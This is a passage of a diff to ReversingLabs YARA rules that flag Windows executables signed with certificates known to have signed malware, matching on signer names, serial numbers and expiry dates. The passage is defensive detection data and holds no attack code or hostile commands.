"78c0575a1c9ecf37ef5bac0612c20f96b8641875b0ba786979adc8a77f001a5e" + logic_hash = "c118cb46914e7a6df8dd33dd14d5f9cf2692d98311503ec850cc66f02c20839e" score = 75 quality = 90 tags = "INFO, FILE" @@ -26261,21 +48655,21 @@ rule REVERSINGLABS_Cert_Blocklist_7D20Dec3797A1Ac30649Ebb184265B79 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jiang Liu" and pe.signatures [ i ] . serial == "7d:20:de:c3:79:7a:1a:c3:06:49:eb:b1:84:26:5b:79" and 1474156800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sein\\xC3\\xA4joen Squash ja Bowling Oy" and ( pe.signatures [ i ] . serial == "00:d1:b8:f1:fe:56:38:1b:ef:db:2e:73:ff:ef:2a:4b:28" or pe.signatures [ i ] . serial == "d1:b8:f1:fe:56:38:1b:ef:db:2e:73:ff:ef:2a:4b:28" ) and 1617667200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_187D92861076E469B5B7A19E2A9Fd4Ba : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D4Ef1Ab6Ab5D3Cb35E4Efb7984Def7A2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0a156a49-c737-5bdb-9178-34121af490d6" + id = "41b2e05f-1dcd-5ebc-97da-275512deaf72" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14422-L14438" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8492-L8510" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7383a7fb31a0a913dff1740015ff702642fbb41d8e5a528a8684c80e66026e9d" + logic_hash = "ecc2f6bfda1a0afd016f0a5183c0d1cdfe5d5e06c893a7d9a3d7cb7f9bc4bf16" score = 75 quality = 90 tags = "INFO, FILE" @@ -26285,21 +48679,21 @@ rule REVERSINGLABS_Cert_Blocklist_187D92861076E469B5B7A19E2A9Fd4Ba : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "18:7d:92:86:10:76:e4:69:b5:b7:a1:9e:2a:9f:d4:ba" and 1476748800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REIGN BROS ApS" and ( pe.signatures [ i ] . serial == "00:d4:ef:1a:b6:ab:5d:3c:b3:5e:4e:fb:79:84:de:f7:a2" or pe.signatures [ i ] . serial == "d4:ef:1a:b6:ab:5d:3c:b3:5e:4e:fb:79:84:de:f7:a2" ) and 1611187200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_199A9476Feca3C004Ff889D34545De07 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_066276Af2F2C7E246D3B1Cab1B4Aa42E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4bb98380-70e5-5ad9-adb2-2e6e10f35258" + id = "97f791d5-7a73-5da7-984e-32bb94d0e83f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14440-L14456" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8512-L8528" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "39c6efefcbd78d5e08ffd8d3989cab3bdf273a1847b2a961f9e68c9ee95e85b6" + logic_hash = "30d4fa2cbc75d3a6258cdf0374159f25ea152c39784f8b7e9c461978df865dc0" score = 75 quality = 90 tags = "INFO, FILE" @@ -26309,21 +48703,21 @@ rule REVERSINGLABS_Cert_Blocklist_199A9476Feca3C004Ff889D34545De07 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Funcall" and pe.signatures [ i ] . serial == "19:9a:94:76:fe:ca:3c:00:4f:f8:89:d3:45:45:de:07" and 1138060800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "IQ Trade ApS" and pe.signatures [ i ] . serial == "06:62:76:af:2f:2c:7e:24:6d:3b:1c:ab:1b:4a:a4:2e" and 1616630400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Efe65 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_65Cd323C2483668B90A44A711D2A6B98 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e402e3b4-a598-504d-85b8-8c1994cb51fc" + id = "e2ed910d-2264-58c1-a1a0-3c131020a2cf" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14458-L14474" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8530-L8546" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f849b6899b6766807cfddf99ecb809fe923f35f04de09b62235da352ce6e6e24" + logic_hash = "653aff6f3913f1bf51e90e7a835dbb5441457175797cefdddd234a6c2c0f11ad" score = 75 quality = 90 tags = "INFO, FILE" @@ -26333,21 +48727,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Efe65 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Software Plugin Ltd." and pe.signatures [ i ] . serial == "1e:fe:65" and 1063224491 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Giperion" and pe.signatures [ i ] . serial == "65:cd:32:3c:24:83:66:8b:90:a4:4a:71:1d:2a:6b:98" and 1602547200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Af7E2B6A3Deb99291Dcaf66 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5A17D5De74Fd8F09Df596Df3123139Bb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f9c18796-995e-58f8-8406-9adcad143ae7" + id = "4a3ffa4a-c080-5d76-9655-010cde091ae2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14476-L14492" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8548-L8564" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "270b5655a0f54abceb520eaca714ed4f6d4de720883e2759acd5bb2f027dfd2b" + logic_hash = "7ed62740fe191d961ad32b2a79463cc9cbce557ea757e413860f7b4974904c03" score = 75 quality = 90 tags = "INFO, FILE" @@ -26357,21 +48751,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Af7E2B6A3Deb99291Dcaf66 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "0a:f7:e2:b6:a3:de:b9:92:91:dc:af:66" and 1474523112 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ACTA FIS d.o.o." and pe.signatures [ i ] . serial == "5a:17:d5:de:74:fd:8f:09:df:59:6d:f3:12:31:39:bb" and 1611273600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_45E27C4Dfa5E6175566A13B1B6Ddf3F5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_15Da61D7E1A631803431561674Fb9B90 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b4ab6397-5e15-5eb3-9f5d-658c5e3a7e3d" + id = "07518dc2-bd6c-5a4c-b537-68f5a462cdc2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14494-L14510" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8566-L8582" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9bcbb84207984b259463482f094bf0f3815f0d74317b6b864dab44769ff5e7e8" + logic_hash = "75d2c3b47fe9c863812f2c98fc565af9050b909a03528e2ea4a96542a3ec0c0d" score = 75 quality = 90 tags = "INFO, FILE" @@ -26381,21 +48775,21 @@ rule REVERSINGLABS_Cert_Blocklist_45E27C4Dfa5E6175566A13B1B6Ddf3F5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Selig Michael Irfan" and pe.signatures [ i ] . serial == "45:e2:7c:4d:fa:5e:61:75:56:6a:13:b1:b6:dd:f3:f5" and 1465474542 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JAY DANCE STUDIO d.o.o." and pe.signatures [ i ] . serial == "15:da:61:d7:e1:a6:31:80:34:31:56:16:74:fb:9b:90" and 1610668800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_37D36A4E61C0Ac68Ceb8Bfcef2Dbf283 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Ab21306B11Ff280A93Fc445876988Ab : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8fc73b48-6797-558a-8265-9aca396e899f" + id = "656bb2a6-bb41-5190-af10-280351e64c66" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14512-L14528" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8584-L8600" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "41e126600aae5646b808ed0a4294faa9a63e47842e9cde4fee9e5e65919af7ee" + logic_hash = "0cda954aa807336a6737716d0fa43d696376c240ab7be9d8477baf8800604bf1" score = 75 quality = 90 tags = "INFO, FILE" @@ -26405,21 +48799,21 @@ rule REVERSINGLABS_Cert_Blocklist_37D36A4E61C0Ac68Ceb8Bfcef2Dbf283 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ANAVERIS LIMITED" and pe.signatures [ i ] . serial == "37:d3:6a:4e:61:c0:ac:68:ce:b8:bf:ce:f2:db:f2:83" and 1532476800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABC BIOS d.o.o." and pe.signatures [ i ] . serial == "7a:b2:13:06:b1:1f:f2:80:a9:3f:c4:45:87:69:88:ab" and 1611014400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4321De10738278B93683Ca542407F103 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_634E16E38F12E9A71Aca08E4C6B2Dbb9 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bf800655-cde4-59fa-9574-1055522fe074" + id = "4aa7bea7-06fb-5d90-bac4-c8ca1ca5c02f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14530-L14546" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8602-L8618" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2787375605310877891ef924268f4660d1c8aa020e00674c1b1d7eb3c4f5b2fb" + logic_hash = "08950f276e5cf3fe4b5f7421ba671dfd72585aac3bbed7868fdb0e5aa90ec10e" score = 75 quality = 90 tags = "INFO, FILE" @@ -26429,21 +48823,21 @@ rule REVERSINGLABS_Cert_Blocklist_4321De10738278B93683Ca542407F103 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "We Build Toolbars LLC" and pe.signatures [ i ] . serial == "43:21:de:10:73:82:78:b9:36:83:ca:54:24:07:f1:03" and 1367884800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AUTO RESPONSE LTD CYF" and pe.signatures [ i ] . serial == "63:4e:16:e3:8f:12:e9:a7:1a:ca:08:e4:c6:b2:db:b9" and 1616112000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2A6B2Df210Be14F4E18E10C7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_289051A83F350A2C600187C99B6C0A73 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "150773ee-5d85-522d-a693-63bb6a7d1de2" + id = "55497d57-7d4f-50e1-85a6-e60786084e3f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14548-L14564" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8620-L8636" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24ae1664c35b7947e2e638bf620d9ab572c70df9cdc1403cc00b422a45ff9194" + logic_hash = "cd5d6f95f0cfdbf8d37ea78d061ce00512b6cb7c899152b1640673494d539dd1" score = 75 quality = 90 tags = "INFO, FILE" @@ -26453,21 +48847,21 @@ rule REVERSINGLABS_Cert_Blocklist_2A6B2Df210Be14F4E18E10C7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "2a:6b:2d:f2:10:be:14:f4:e1:8e:10:c7" and 1472095404 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HALL HAULAGE LTD LTD" and pe.signatures [ i ] . serial == "28:90:51:a8:3f:35:0a:2c:60:01:87:c9:9b:6c:0a:73" and 1616716800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_412Ab2A50E8028Ddcbc499Ddf45F2045 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_818631110B5D14331Dac7E6Ad998B902 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aabb3a66-5677-5359-9d81-92c8d4c7d910" + id = "6a8f3abd-199c-5e2f-a60e-46e869831445" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14566-L14582" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8638-L8656" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a5b85d13dee51d68af28394ecee3dcc2efe7add4d26c2a8033d1855b33ac6271" + logic_hash = "5e0de3848adf933632c2eb8cf5ead61d6470237386ba8b48d57a278d99dba324" score = 75 quality = 90 tags = "INFO, FILE" @@ -26477,21 +48871,21 @@ rule REVERSINGLABS_Cert_Blocklist_412Ab2A50E8028Ddcbc499Ddf45F2045 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ding Ruan" and pe.signatures [ i ] . serial == "41:2a:b2:a5:0e:80:28:dd:cb:c4:99:dd:f4:5f:20:45" and 1479340800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "2 TOY GUYS LLC" and ( pe.signatures [ i ] . serial == "00:81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02" or pe.signatures [ i ] . serial == "81:86:31:11:0b:5d:14:33:1d:ac:7e:6a:d9:98:b9:02" ) and 1571616000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0747F6A8C3542F954B113Fd98C7607Cf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_277Cd16De5D61B9398B645Afe41C09C7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "de5fbb40-7d41-5f3e-97c9-a6882c19ebb5" + id = "d863faac-7b6e-5e1d-960f-8379347c6838" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14584-L14600" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8658-L8674" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9d5e5c98f3ef372532cfc4f544d5d3f620dc2e49d8b6e1c96df29d2a38042019" + logic_hash = "696467d699dec060b205f36f53dbe157b241823757d72798b35235d6530fd193" score = 75 quality = 90 tags = "INFO, FILE" @@ -26501,21 +48895,21 @@ rule REVERSINGLABS_Cert_Blocklist_0747F6A8C3542F954B113Fd98C7607Cf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "07:47:f6:a8:c3:54:2f:95:4b:11:3f:d9:8c:76:07:cf" and 1474329600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE SIGN COMPANY LIMITED" and pe.signatures [ i ] . serial == "27:7c:d1:6d:e5:d6:1b:93:98:b6:45:af:e4:1c:09:c7" and 1619049600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2572B484Fa0A61Be7288D785D7Bda7D3 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D0Eda76C13D30C97015708790Bb94214 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b1d71baa-9100-512d-91f4-7286a740e5f2" + id = "aa323bac-a9f5-560f-b44a-3cf2b26351bb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14602-L14618" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8676-L8694" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d6b23ba706a640a1e76ad7ab0a70c845c9366ac8355eea5439f76f6993c9c6be" + logic_hash = "2112ebfb7c9ebbbccb20cefcd23bb49142da770feb16ee8eef5eb27646226785" score = 75 quality = 90 tags = "INFO, FILE" @@ -26525,21 +48919,21 @@ rule REVERSINGLABS_Cert_Blocklist_2572B484Fa0A61Be7288D785D7Bda7D3 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SILVA, OOO" and pe.signatures [ i ] . serial == "25:72:b4:84:fa:0a:61:be:72:88:d7:85:d7:bd:a7:d3" and 1495152000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LAEN ApS" and ( pe.signatures [ i ] . serial == "00:d0:ed:a7:6c:13:d3:0c:97:01:57:08:79:0b:b9:42:14" or pe.signatures [ i ] . serial == "d0:ed:a7:6c:13:d3:0c:97:01:57:08:79:0b:b9:42:14" ) and 1619136000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6726Bd04204746C46857887F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6333Ed618F88A05B4D82Ad7Bf66Cb0Fa : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ef882d82-f535-57c3-9d45-8d47ecc7f607" + id = "c4d3603e-57e2-57df-a055-c43d449242c7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14620-L14636" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8696-L8712" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "11d25dff7e05e6f97725e919cc6c978d7f2e64a91cf04b72461c71d592dfc2dc" + logic_hash = "b088ac4b74a8cf3dddb67c8de2b7c3c5f537287a0454c0030c0eb4069c465c7d" score = 75 quality = 90 tags = "INFO, FILE" @@ -26549,21 +48943,21 @@ rule REVERSINGLABS_Cert_Blocklist_6726Bd04204746C46857887F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "67:26:bd:04:20:47:46:c4:68:57:88:7f" and 1474352405 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RHM LIMITED" and pe.signatures [ i ] . serial == "63:33:ed:61:8f:88:a0:5b:4d:82:ad:7b:f6:6c:b0:fa" and 1616457600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4463D8B31E0F87C14233D4D0D2C487A0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3B777165B125Bccc181D0Bac3F5B55B3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "eefd6fa2-7ed7-51d0-bddd-90f0727a93cc" + id = "f065e99f-9cce-55cb-a592-60b89c26028a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14638-L14654" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8714-L8730" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "04ce664fceb4a617294e860d5364d8a4ce8e055fd2baebb8be69f258d9c70ac7" + logic_hash = "80aff3d6f45f5847d5d39b170b9d0e70168d02569ca6d86a2c39150399d290fc" score = 75 quality = 90 tags = "INFO, FILE" @@ -26573,21 +48967,21 @@ rule REVERSINGLABS_Cert_Blocklist_4463D8B31E0F87C14233D4D0D2C487A0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "44:63:d8:b3:1e:0f:87:c1:42:33:d4:d0:d2:c4:87:a0" and 1477612800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STAND ALONE MUSIC LTD" and pe.signatures [ i ] . serial == "3b:77:71:65:b1:25:bc:cc:18:1d:0b:ac:3f:5b:55:b3" and 1607299200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_387982605E542D6D52F231Ca6F5657Cc : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5B37Ac3479283B6F9D75Ddf0F8742D06 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2d5731e1-b18b-544e-ae14-40d70b679618" + id = "cc124d3f-2446-57a2-a206-0a5e569fc703" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L14656-L14672" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8732-L8748" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d55cfd45bc0d330c0ed433a882874e4633ffbaa0d68288bea9058fe269d75ed9" + logic_hash = "b7abd389ac31cd970e6611c7c303714fdd658f45d4857ad524f5e8368edbb875" score = 75 quality = 90 tags = "INFO, FILE" @@ -26597,21 +48991,21 @@ rule REVERSINGLABS_Cert_Blocklist_387982605E542D6D52F231Ca6F5657Cc : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jiang Liu" and pe.signatures [ i ] . serial == "38:79:82:60:5e:54:2d:6d:52:f2:31:ca:6f:56:57:cc" and 1475884800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ART BOOK PHOTO s.r.o." and pe.signatures [ i ] . serial == "5b:37:ac:34:79:28:3b:6f:9d:75:dd:f0:f8:74:2d:06" and 1619740800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_E0134C41E7Eda6863C4Eee5B003976Dd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3112C69D460C781Fd649C71E61Bfec82 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "395c14fd-2fec-53ad-bc8e-2dd4bb3522d2" + id = "f4d2f240-49a7-51f3-8db1-1c569aa63177" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = 